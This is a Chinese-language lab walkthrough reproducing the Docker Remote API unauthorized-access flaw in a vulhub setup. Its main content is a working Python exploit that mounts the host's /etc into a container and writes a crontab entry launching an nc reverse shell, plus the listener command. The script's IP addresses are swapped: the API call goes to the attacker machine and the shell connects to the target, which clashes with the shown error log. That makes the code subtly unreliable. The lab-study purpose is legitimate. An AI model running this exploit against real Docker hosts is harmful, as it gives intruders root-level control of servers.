1.漏洞简介:
该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url实现docker命令。
2.漏洞复现
环境介绍:
1.攻击机kali:192.168.231.128
2.靶机ubuntu:192.168.231.185
靶场搭建
(1):ubuntu下载vluhub
vulhub官网地址:https://vulhub.org
github下载:https://github.com/vulhub/vulhub/
(2):环境搭建:
1.进入环境目录
cd /vulhub/docker/unauthorized-rce
创建容器并启动:
docker-compose build
docker-compose up -d
(3):访问环境"http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞"
复现:
1.使用Docker启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,即可进行反弹shell。以下为python脚本:
import docker
client = docker.DockerClient(base_url='http://192.168.231.128:2375/')
data = client.containers.run('镜像名', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.231.185 4440 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
2.kali主机监听端口4440
nc -l -p 4440
3.执行脚本
python3 jiaoben.py
4.当出现如下错误,为docker源的问题:
Server Error ("Get https://registry-1.docker.io/v2/library/alpine/manifests/latest: Get https://auth.docker.io/token?scope=repository%3Alibrary%2Falpine%3Apull&service=registry.docker.io: net/http: request canceled (Client.Timeout exceeded while awaiting headers)")
docker.errors.APIError: 500 Server Error for http://192.168.231.185:2375/v1.37/images/create?tag=latest&fromImage=alpine: Internal Server Error ("Get https://registry-1.docker.io/v2/library/alpine/manifests/latest: dial tcp: lookup registry-1.docker.io on 127.0.0.11:53: read udp 127.0.0.1:34940->127.0.0.11:53: i/o timeout")
5.本人使用源:仅供参考
{
"registry-mirrors": ["https://registry.docker-cn.com","http://hub-mirror.c.163.com","https://docker.mirrors.ustc.edu.cn"]
}
脚本执行完毕后,需要等待一分钟多,即可反弹shell